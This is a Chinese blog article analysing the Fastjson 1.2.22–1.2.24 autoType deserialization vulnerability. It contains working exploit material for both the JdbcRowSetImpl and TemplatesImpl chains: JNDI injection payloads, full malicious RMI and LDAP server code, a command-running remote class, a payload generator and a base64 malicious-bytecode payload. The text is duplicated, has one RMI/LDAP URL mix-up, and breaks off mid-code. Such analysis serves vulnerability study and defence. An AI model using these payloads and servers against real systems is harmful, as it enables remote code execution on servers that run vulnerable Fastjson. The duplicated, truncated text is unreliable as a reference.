fastjson简介 Fastjson是阿里巴巴公司开源的速度最快的Json和对象转换工具,一个Java语言编写的JSON处理器。
常见的序列化操作 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 // 把JSON文本parse为JSONObject或者JSONArray public static final Object parse(String text); // 把JSON文本parse成JSONObject public static final JSONObject parseObject(String text); // 把JSON文本parse为JavaBean public static final <T> T parseObject(String text, Class<T> clazz) // 把JSON文本parse成JSONArray public static final JSONArray parseArray(String text); //把JSON文本parse成JavaBean集合 public static final <T> List<T> parseArray(String text, Class<T> clazz); // 将JavaBean序列化为JSON文本 public static final String toJSONString(Object object); // 将JavaBean序列化为带格式的JSON文本 public static final String toJSONString(Object object, boolean prettyFormat); //将JavaBean转换为JSONObject或者JSONArray。 public static final Object toJSON(Object javaObject);
简单的使用 1.将Json文本数据信息转换为JsonObject对象,通过键值的形式获取值
1 2 3 4 5 6 7 8 9 10 11 12 package fastjson; import com.alibaba.fastjson.*; public class demo { public static void main(String[] args) { String str = "{\"name\":\"test\"}"; //将JsonObject数据转换为Json JSONObject object = JSON.parseObject(str); //利用键值对的方式获取到值 System.out.println(object.get("name")); } }
JSONObject的get方法是通过传入的key值匹配返回val的值
2.将JSON文本转换成实体类
先定义一个User类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 package fastjson; public class User { private String name; private int age; public String getName() { return name; } public void setName(String name) { this.name = name; } public int getAge() { return age; } public void setAge(int age) { this.age = age; } }
有两个方法可以进行反序列化,一个是parseObject、一个是parse,先来看看parseObject
parseObject 1 2 3 4 5 6 7 8 9 10 11 String s = "{\"name\":\"test\",\"age\":\"12\"}"; Object object1 = JSON.parseObject(s,User.class); System.out.println(((User) object1).getName()); System.out.println(((User) object1).getAge()); System.out.println(object1.getClass()); Object object2 = JSON.parseObject(s); System.out.println(((JSONObject) object2).get("name")); System.out.println(((JSONObject) object2).get("age")); System.out.println(object2.getClass());
很明显 根据参数的不同,返回的类也不同
1 2 3 4 5 6 7 8 9 10 11 12 public static JSONObject parseObject(String text) { Object obj = parse(text); if (obj instanceof JSONObject) { return (JSONObject)obj; } else { try { return (JSONObject)toJSON(obj); } catch (RuntimeException var3) { throw new JSONException("can not cast to JSONObject.", var3); } } }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 public static <T> T parseObject(String input, Type clazz, int featureValues, Feature... features) { if (input == null) { return null; } else { Feature[] var4 = features; int var5 = features.length; for(int var6 = 0; var6 < var5; ++var6) { Feature feature = var4[var6]; featureValues = Feature.config(featureValues, feature, true); } DefaultJSONParser parser = new DefaultJSONParser(input, ParserConfig.getGlobalInstance(), featureValues); T value = parser.parseObject(clazz); parser.handleResovleTask(value); parser.close(); return value; } }
parse 这个方法貌似用到的不多
1 2 Object object3 = JSON.parse(s); System.out.println(object3.getClass());
toJSONString 1 2 3 4 5 Map map = new HashMap(); map.put("1",123); map.put("slm","123"); String result1 = JSON.toJSONString(map); System.out.println(result1);
Fastjson 1.2.22-1.2.24反序列化漏洞分析 Student.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 public class Student { private String name; private int age; public Student() { System.out.println("构造函数"); } public String getName() { System.out.println("getName"); return name; } public void setName(String name) { System.out.println("setName"); this.name = name; } public int getAge() { System.out.println("getAge"); return age; } public void setAge(int age) { System.out.println("setAge"); this.age = age; } }
通过Ser.java进行序列化
1 2 3 4 5 6 7 8 9 10 11 12 import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.serializer.SerializerFeature; public class Ser { public static void main(String[] args){ Student student = new Student(); student.setName("ghtwf01"); student.setAge(80); String jsonstring = JSON.toJSONString(student, SerializerFeature.WriteClassName); System.out.println(jsonstring); } }
SerializerFeature.WriteClassName
是toJSONString
设置的一个属性值,设置之后在序列化的时候会多写入一个@type
,即写上被序列化的类名,type
可以指定反序列化的类,并且调用其getter/setter/is
方法。
没加SerializerFeature.WriteClassName
时
反序列化 上面说了有parseObject和parse两种方法进行反序列化,现在来看看他们之间的区别
1 2 3 4 public static JSONObject parseObject(String text) { Object obj = parse(text); return obj instanceof JSONObject ? (JSONObject)obj : (JSONObject)toJSON(obj); }
parseObject其实也是使用的parse方法,只是多了一步toJSON方法处理对象。 看下面几种反序列化方法
一二种方法没用成功反序列化,因为没有确定到底属于哪个对象的,所以只能将其转换为一个普通的JSON对象而不能正确转换。所以这里就用到了@type
,修改后代码如下
这样便能成功反序列化,可以看到parse成功触发了set方法,parseObject同时触发了set和get方法,因为这种autoType
所以导致了fastjson反序列化漏洞
Fastjson反序列化漏洞 我们知道了Fastjson的autoType,所以也就能想到反序列化漏洞产生的原因是get或set方法中存在恶意操作,以下面demo为例
Student.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 import java.io.IOException; public class Student { private String name; private int age; private String sex; public Student() { System.out.println("构造函数"); } public String getName() { System.out.println("getName"); return name; } public void setName(String name) { System.out.println("setName"); this.name = name; } public int getAge() { System.out.println("getAge"); return age; } public void setAge(int age) { System.out.println("setAge"); this.age = age; } public void setSex(String sex) throws IOException { System.out.println("setSex"); Runtime.getRuntime().exec("open -a Calculator"); } }
Unser.java
1 2 3 4 5 6 7 8 9 import com.alibaba.fastjson.JSON; public class Unser { public static void main(String[] args){ String jsonstring ="{\"@type\":\"Student\":\"age\":80,\"name\":\"ghtwf01\",\"sex\":\"man\"}"; //System.out.println(JSON.parse(jsonstring)); System.out.println(JSON.parseObject(jsonstring)); } }
Fastjson反序列化流程分析 在parseObject处下断点,跟进
1 2 3 4 public static JSONObject parseObject(String text) { Object obj = parse(text); return obj instanceof JSONObject ? (JSONObject)obj : (JSONObject)toJSON(obj); }
第一行将json字符串转化成对象,跟进parse
1 2 3 public static Object parse(String text) { return parse(text, DEFAULT_PARSER_FEATURE); }
继续跟进
1 2 3 4 5 6 7 8 9 10 11 public static Object parse(String text, int features) { if (text == null) { return null; } else { DefaultJSONParser parser = new DefaultJSONParser(text, ParserConfig.getGlobalInstance(), features); Object value = parser.parse(); parser.handleResovleTask(value); parser.close(); return value; } }
这里会创建一个DefaultJSONParser对象,在这个过程中有如下操作
1 2 3 4 5 6 7 8 9 10 int ch = lexer.getCurrent(); if (ch == '{') { lexer.next(); ((JSONLexerBase)lexer).token = 12; } else if (ch == '[') { lexer.next(); ((JSONLexerBase)lexer).token = 14; } else { lexer.nextToken(); }
判断解析的字符串是{还是[并设置token值,创建完成DefaultJSONParser对象后进入DefaultJSONParser#parse方法 因为之前设置了token值为12,所以进入如下判断
1 2 3 case 12: JSONObject object = new JSONObject(lexer.isEnabled(Feature.OrderedField)); return this.parseObject((Map)object, fieldName);
在第一行会创建一个空的JSONObject,随后会通过 parseObject 方法进行解析,在解析后有如下操作
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 if (key == JSON.DEFAULT_TYPE_KEY && !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) { ref = lexer.scanSymbol(this.symbolTable, '"'); Class<?> clazz = TypeUtils.loadClass(ref, this.config.getDefaultClassLoader()); if (clazz != null) { lexer.nextToken(16); if (lexer.token() != 13) { this.setResolveStatus(2); if (this.context != null && !(fieldName instanceof Integer)) { this.popContext(); } if (object.size() > 0) { instance = TypeUtils.cast(object, clazz, this.config); this.parseObject(instance); thisObj = instance; return thisObj; }
这里会通过scanSymbol获取到@type指定类
然后通过 TypeUtils.loadClass 方法加载Class
这里首先会从mappings里面寻找类,mappings中存放着一些Java内置类,前面一些条件不满足,所以最后用ClassLoader加载类,在这里也就是加载类Student类
接着创建了ObjectDeserializer类并调用了deserialze方法
1 2 3 ObjectDeserializer deserializer = this.config.getDeserializer(clazz); thisObj = deserializer.deserialze(this, clazz, fieldName); return thisObj;
首先跟进getDeserializer方法,这里使用了黑名单限制可以反序列化的类,黑名单里面只有Thread 到达deserialze方法继续往下调试,就是ASM机制生成的临时代码了,这些代码是下不了断点、也看不到,直接继续往下调试即可,最后调用了set和get里面的方法
Fastjson 1.2.22-1.2.24反序列化漏洞 这个版本的jastjson有两条利用链——JdbcRowSetImpl和Templateslmpl
JdbcRowSetImpl利用链 JdbcRowSetImpl利用链最终的结果是导致JNDI注入,可以使用RMI+JNDI和RMI+LDAP进行利用
漏洞复现 RMI+JNDI
POC如下,@type指向com.sun.rowset.JdbcRowSetImpl类,dataSourceName值为RMI服务中心绑定的Exploit服务,autoCommit有且必须为true或false等布尔值类型:
1 {"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099/badClassName", "autoCommit":true}
服务端JNDIServer.java
1 2 3 4 5 6 7 8 9 public class JNDIServer { public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException { Registry registry = LocateRegistry.createRegistry(1099); Reference reference = new Reference("Exloit", "badClassName","http://127.0.0.1:8000/"); ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference); registry.bind("Exploit",referenceWrapper); } }
远程恶意类badClassName.class
1 2 3 4 5 6 7 8 9 public class badClassName { static{ try{ Runtime.getRuntime().exec("open /System/Applications/Calculator.app"); }catch(Exception e){ ; } } }
客户端JNDIClient.java
1 2 3 4 5 6 7 8 import com.alibaba.fastjson.JSON; public class JNDIClient { public static void main(String[] argv){ String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://127.0.0.1:1099/badClassName\", \"autoCommit\":true}"; JSON.parse(payload); } }
LDAP+JNDI POC和上面一样,就是改了一下url,因为是ldap了
1 {"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099/badClassName", "autoCommit":true}
LdapServer.java 这里需要unboundid-ldapsdk
包(https://repo1.maven.org/maven2/com/unboundid/unboundid-ldapsdk/5.1.3/unboundid-ldapsdk-5.1.3.jar )
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 import com.unboundid.ldap.listener.InMemoryDirectoryServer; import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig; import com.unboundid.ldap.listener.InMemoryListenerConfig; import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor; import com.unboundid.ldap.sdk.Entry; import com.unboundid.ldap.sdk.LDAPException; import com.unboundid.ldap.sdk.LDAPResult; import com.unboundid.ldap.sdk.ResultCode; import javax.net.ServerSocketFactory; import javax.net.SocketFactory; import javax.net.ssl.SSLSocketFactory; import java.net.InetAddress; import java.net.MalformedURLException; import java.net.URL; public class LDAPServer { private static final String LDAP_BASE = "dc=example,dc=com"; public static void main (String[] args) { String url = "http://127.0.0.1:8888/#badClassName"; int port = 1389; try { InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE); config.setListenerConfigs(new InMemoryListenerConfig( "listen", InetAddress.getByName("0.0.0.0"), port, ServerSocketFactory.getDefault(), SocketFactory.getDefault(), (SSLSocketFactory) SSLSocketFactory.getDefault())); config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url))); InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config); System.out.println("Listening on 0.0.0.0:" + port); ds.startListening(); } catch ( Exception e ) { e.printStackTrace(); } } private static class OperationInterceptor extends InMemoryOperationInterceptor { private URL codebase; /** * */ public OperationInterceptor ( URL cb ) { this.codebase = cb; } /** * {@inheritDoc} * * @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult) */ @Override public void processSearchResult ( InMemoryInterceptedSearchResult result ) { String base = result.getRequest().getBaseDN(); Entry e = new Entry(base); try { sendResult(result, base, e); } catch ( Exception e1 ) { e1.printStackTrace(); } } protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException { URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class")); System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl); e.addAttribute("javaClassName", "Exploit"); String cbstring = this.codebase.toString(); int refPos = cbstring.indexOf('#'); if ( refPos > 0 ) { cbstring = cbstring.substring(0, refPos); } e.addAttribute("javaCodeBase", cbstring); e.addAttribute("objectClass", "javaNamingReference"); e.addAttribute("javaFactory", this.codebase.getRef()); result.sendSearchEntry(e); result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); } } }
LDAPClient.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 import javax.naming.Context; import javax.naming.InitialContext; import javax.naming.NamingException; public class LDAPClient { public static void main(String[] args) throws Exception{ try { Context context = new InitialContext(); context.lookup("ldap://127.0.0.1:1389/badClassName"); } catch (NamingException e) { e.printStackTrace(); } } }
恶意远程类和上面一样
漏洞分析 前面的流程都是一样的,通过 TypeUtils.loadClass 方法加载Class,创建ObjectDeserializer类并调用deserialze方法,分析一下上面流程没写的部分
调用deserialze后继续往下调试,进入setDataSourceName方法,将dataSourceName值设置为目标RMI服务的地址
接着调用到setAutoCommit()函数,设置autoCommit值,其中调用了connect()函数
跟进connect方法
这里的getDataSourceName是我们在前面setDataSourceName()方法中设置的值,是我们可控的,所以就造成了JNDI注入漏洞。
调用栈如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 connect:643, JdbcRowSetImpl (com.sun.rowset) setAutoCommit:4081, JdbcRowSetImpl (com.sun.rowset) invoke0:-1, NativeMethodAccessorImpl (sun.reflect) invoke:57, NativeMethodAccessorImpl (sun.reflect) invoke:43, DelegatingMethodAccessorImpl (sun.reflect) invoke:606, Method (java.lang.reflect) setValue:96, FieldDeserializer (com.alibaba.fastjson.parser.deserializer) parseField:83, DefaultFieldDeserializer (com.alibaba.fastjson.parser.deserializer) parseField:773, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer) deserialze:600, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer) parseRest:922, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer) deserialze:-1, FastjsonASMDeserializer_1_JdbcRowSetImpl (com.alibaba.fastjson.parser.deserializer) deserialze:184, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer) parseObject:368, DefaultJSONParser (com.alibaba.fastjson.parser) parse:1327, DefaultJSONParser (com.alibaba.fastjson.parser) parse:1293, DefaultJSONParser (com.alibaba.fastjson.parser) parse:137, JSON (com.alibaba.fastjson) parse:128, JSON (com.alibaba.fastjson) main:6, JNDIClient
TemplatesImpl利用链 漏洞原理:Fastjson通过bytecodes
字段传入恶意类,调用outputProperties属性的getter方法时,实例化传入的恶意类,调用其构造方法,造成任意命令执行。
但是由于需要在parse反序列化时设置第二个参数Feature.SupportNonPublicField,所以利用面很窄,但是这条利用链还是值得去学习
漏洞复现 TEMPOC.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import java.io.IOException; public class TEMPOC extends AbstractTranslet { public TEMPOC() throws IOException { Runtime.getRuntime().exec("open -a Calculator"); } @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) { } @Override public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] haFndlers) throws TransletException { } public static void main(String[] args) throws Exception { TEMPOC t = new TEMPOC(); } }
这里为什么要继承AbstractTranslet类后面会说。将其编译成.class文件,通过如下方式进行base64加密以及生成payload
1 2 3 4 5 6 7 import base64 fin = open(r"TEMPOC.class","rb") byte = fin.read() fout = base64.b64encode(byte).decode("utf-8") poc = '{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["%s"],"_name":"a.b","_tfactory":{},"_outputProperties":{ },"_version":"1.0","allowedProtocols":"all"}'% fout print poc
POC如下
1 {"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADQAJgoABwAXCgAYABkIABoKABgAGwcAHAoABQAXBwAdAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACkV4Y2VwdGlvbnMHAB4BAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWBwAfAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYHACABAApTb3VyY2VGaWxlAQALVEVNUE9DLmphdmEMAAgACQcAIQwAIgAjAQASb3BlbiAtYSBDYWxjdWxhdG9yDAAkACUBAAZURU1QT0MBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAHAAAAAAAEAAEACAAJAAIACgAAAC4AAgABAAAADiq3AAG4AAISA7YABFexAAAAAQALAAAADgADAAAACwAEAAwADQANAAwAAAAEAAEADQABAA4ADwABAAoAAAAZAAAABAAAAAGxAAAAAQALAAAABgABAAAAEQABAA4AEAACAAoAAAAZAAAAAwAAAAGxAAAAAQALAAAABgABAAAAFgAMAAAABAABABEACQASABMAAgAKAAAAJQACAAIAAAAJuwAFWbcABkyxAAAAAQALAAAACgACAAAAGQAIABoADAAAAAQAAQAUAAEAFQAAAAIAFg=="],"_name":"a.b","_tfactory":{ },"_outputProperties":{ },"_version":"1.0","allowedProtocols":"all"}
漏洞分析 前面的流程是通用的,直接分析不同的部分。
进入deserialze后解析到key为_bytecodes
时,调用parseField()进一步解析
跟进parseField方法,对_bytecodes
对应的内容进行解析
跟进FieldDeserializer#parseField方法
解析出_bytecodes
对应的内容后,会调用setValue()函数设置对应的值,这里value即为恶意类二进制内容Base64编码后的数据
继续跟进FieldDeserializer#setValue方法
这里使用了set方法来设置_bytecodes
的值
接着解析到_outputProperties
的内容
这里去除了_,跟进发现使用反射调用了com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties()
跟进TemplatesImpl#getOutputProperties
跟进newTransformer方法
跟进getTransletInstance方法
Fastjson 1.2.22-1.2.24反序列化漏洞分析
ghtwf01 / 2021-01-08 15:20:51 / 浏览数 13613 安全技术 漏洞分析
顶(1) 踩(0)
Fastjson简介 Fastjson是Alibaba开发的Java语言编写的高性能JSON库,用于将数据在JSON和Java Object之间互相转换,提供两个主要接口JSON.toJSONString和JSON.parseObject/JSON.parse来分别实现序列化和反序列化操作。
项目地址:https://github.com/alibaba/fastjson
Fastjson序列化与反序列化 序列化 Student.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 public class Student { private String name; private int age; public Student() { System.out.println("构造函数"); } public String getName() { System.out.println("getName"); return name; } public void setName(String name) { System.out.println("setName"); this.name = name; } public int getAge() { System.out.println("getAge"); return age; } public void setAge(int age) { System.out.println("setAge"); this.age = age; } }
然后通过Ser.java进行序列化
1 2 3 4 5 6 7 8 9 10 11 12 import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.serializer.SerializerFeature; public class Ser { public static void main(String[] args){ Student student = new Student(); student.setName("ghtwf01"); student.setAge(80); String jsonstring = JSON.toJSONString(student, SerializerFeature.WriteClassName); System.out.println(jsonstring); } }
SerializerFeature.WriteClassName
是toJSONString
设置的一个属性值,设置之后在序列化的时候会多写入一个@type
,即写上被序列化的类名,type
可以指定反序列化的类,并且调用其getter/setter/is
方法。
没加SerializerFeature.WriteClassName
时
反序列化 上面说了有parseObject和parse两种方法进行反序列化,现在来看看他们之间的区别
1 2 3 4 public static JSONObject parseObject(String text) { Object obj = parse(text); return obj instanceof JSONObject ? (JSONObject)obj : (JSONObject)toJSON(obj); }
parseObject其实也是使用的parse方法,只是多了一步toJSON方法处理对象。 看下面几种反序列化方法
一二种方法没用成功反序列化,因为没有确定到底属于哪个对象的,所以只能将其转换为一个普通的JSON对象而不能正确转换。所以这里就用到了@type
,修改后代码如下
这样便能成功反序列化,可以看到parse成功触发了set方法,parseObject同时触发了set和get方法,因为这种autoType
所以导致了fastjson反序列化漏洞
Fastjson反序列化漏洞 我们知道了Fastjson的autoType,所以也就能想到反序列化漏洞产生的原因是get或set方法中存在恶意操作,以下面demo为例
Student.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 import java.io.IOException; public class Student { private String name; private int age; private String sex; public Student() { System.out.println("构造函数"); } public String getName() { System.out.println("getName"); return name; } public void setName(String name) { System.out.println("setName"); this.name = name; } public int getAge() { System.out.println("getAge"); return age; } public void setAge(int age) { System.out.println("setAge"); this.age = age; } public void setSex(String sex) throws IOException { System.out.println("setSex"); Runtime.getRuntime().exec("open -a Calculator"); } }
Unser.java
1 2 3 4 5 6 7 8 9 import com.alibaba.fastjson.JSON; public class Unser { public static void main(String[] args){ String jsonstring ="{\"@type\":\"Student\":\"age\":80,\"name\":\"ghtwf01\",\"sex\":\"man\"}"; //System.out.println(JSON.parse(jsonstring)); System.out.println(JSON.parseObject(jsonstring)); } }
Fastjson反序列化流程分析 在parseObject处下断点,跟进
1 2 3 4 public static JSONObject parseObject(String text) { Object obj = parse(text); return obj instanceof JSONObject ? (JSONObject)obj : (JSONObject)toJSON(obj); }
第一行将json字符串转化成对象,跟进parse
1 2 3 public static Object parse(String text) { return parse(text, DEFAULT_PARSER_FEATURE); }
继续跟进
1 2 3 4 5 6 7 8 9 10 11 public static Object parse(String text, int features) { if (text == null) { return null; } else { DefaultJSONParser parser = new DefaultJSONParser(text, ParserConfig.getGlobalInstance(), features); Object value = parser.parse(); parser.handleResovleTask(value); parser.close(); return value; } }
这里会创建一个DefaultJSONParser对象,在这个过程中有如下操作
1 2 3 4 5 6 7 8 9 10 int ch = lexer.getCurrent(); if (ch == '{') { lexer.next(); ((JSONLexerBase)lexer).token = 12; } else if (ch == '[') { lexer.next(); ((JSONLexerBase)lexer).token = 14; } else { lexer.nextToken(); }
判断解析的字符串是{还是[并设置token值,创建完成DefaultJSONParser对象后进入DefaultJSONParser#parse方法 因为之前设置了token值为12,所以进入如下判断
1 2 3 case 12: JSONObject object = new JSONObject(lexer.isEnabled(Feature.OrderedField)); return this.parseObject((Map)object, fieldName);
在第一行会创建一个空的JSONObject,随后会通过 parseObject 方法进行解析,在解析后有如下操作
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 if (key == JSON.DEFAULT_TYPE_KEY && !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) { ref = lexer.scanSymbol(this.symbolTable, '"'); Class<?> clazz = TypeUtils.loadClass(ref, this.config.getDefaultClassLoader()); if (clazz != null) { lexer.nextToken(16); if (lexer.token() != 13) { this.setResolveStatus(2); if (this.context != null && !(fieldName instanceof Integer)) { this.popContext(); } if (object.size() > 0) { instance = TypeUtils.cast(object, clazz, this.config); this.parseObject(instance); thisObj = instance; return thisObj; }
这里会通过scanSymbol获取到@type指定类
然后通过 TypeUtils.loadClass 方法加载Class
这里首先会从mappings里面寻找类,mappings中存放着一些Java内置类,前面一些条件不满足,所以最后用ClassLoader加载类,在这里也就是加载类Student类
接着创建了ObjectDeserializer类并调用了deserialze方法
1 2 3 ObjectDeserializer deserializer = this.config.getDeserializer(clazz); thisObj = deserializer.deserialze(this, clazz, fieldName); return thisObj;
首先跟进getDeserializer方法,这里使用了黑名单限制可以反序列化的类,黑名单里面只有Thread
到达deserialze方法继续往下调试,就是ASM机制生成的临时代码了,这些代码是下不了断点、也看不到,直接继续往下调试即可,最后调用了set和get里面的方法
Fastjson 1.2.22-1.2.24反序列化漏洞 这个版本的jastjson有两条利用链——JdbcRowSetImpl和Templateslmpl
JdbcRowSetImpl利用链 JdbcRowSetImpl利用链最终的结果是导致JNDI注入,可以使用RMI+JNDI和RMI+LDAP进行利用
漏洞复现 RMI+JNDI
POC如下,@type指向com.sun.rowset.JdbcRowSetImpl类,dataSourceName值为RMI服务中心绑定的Exploit服务,autoCommit有且必须为true或false等布尔值类型:
1 {"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099/badClassName", "autoCommit":true}
服务端JNDIServer.java
1 2 3 4 5 6 7 8 9 public class JNDIServer { public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException { Registry registry = LocateRegistry.createRegistry(1099); Reference reference = new Reference("Exloit", "badClassName","http://127.0.0.1:8000/"); ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference); registry.bind("Exploit",referenceWrapper); } }
远程恶意类badClassName.class
1 2 3 4 5 6 7 8 9 public class badClassName { static{ try{ Runtime.getRuntime().exec("open /System/Applications/Calculator.app"); }catch(Exception e){ ; } } }
客户端JNDIClient.java
1 2 3 4 5 6 7 8 import com.alibaba.fastjson.JSON; public class JNDIClient { public static void main(String[] argv){ String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://127.0.0.1:1099/badClassName\", \"autoCommit\":true}"; JSON.parse(payload); } }
LDAP+JNDI
POC和上面一样,就是改了一下url,因为是ldap了
1 {"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099/badClassName", "autoCommit":true}
LdapServer.java 这里需要unboundid-ldapsdk
包(https://repo1.maven.org/maven2/com/unboundid/unboundid-ldapsdk/5.1.3/unboundid-ldapsdk-5.1.3.jar )
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 import com.unboundid.ldap.listener.InMemoryDirectoryServer; import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig; import com.unboundid.ldap.listener.InMemoryListenerConfig; import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor; import com.unboundid.ldap.sdk.Entry; import com.unboundid.ldap.sdk.LDAPException; import com.unboundid.ldap.sdk.LDAPResult; import com.unboundid.ldap.sdk.ResultCode; import javax.net.ServerSocketFactory; import javax.net.SocketFactory; import javax.net.ssl.SSLSocketFactory; import java.net.InetAddress; import java.net.MalformedURLException; import java.net.URL; public class LDAPServer { private static final String LDAP_BASE = "dc=example,dc=com"; public static void main (String[] args) { String url = "http://127.0.0.1:8888/#badClassName"; int port = 1389; try { InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE); config.setListenerConfigs(new InMemoryListenerConfig( "listen", InetAddress.getByName("0.0.0.0"), port, ServerSocketFactory.getDefault(), SocketFactory.getDefault(), (SSLSocketFactory) SSLSocketFactory.getDefault())); config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url))); InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config); System.out.println("Listening on 0.0.0.0:" + port); ds.startListening(); } catch ( Exception e ) { e.printStackTrace(); } } private static class OperationInterceptor extends InMemoryOperationInterceptor { private URL codebase; /** * */ public OperationInterceptor ( URL cb ) { this.codebase = cb; } /** * {@inheritDoc} * * @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult) */ @Override public void processSearchResult ( InMemoryInterceptedSearchResult result ) { String base = result.getRequest().getBaseDN(); Entry e = new Entry(base); try { sendResult(result, base, e); } catch ( Exception e1 ) { e1.printStackTrace(); } } protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException { URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class")); System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl); e.addAttribute("javaClassName", "Exploit"); String cbstring = this.codebase.toString(); int refPos = 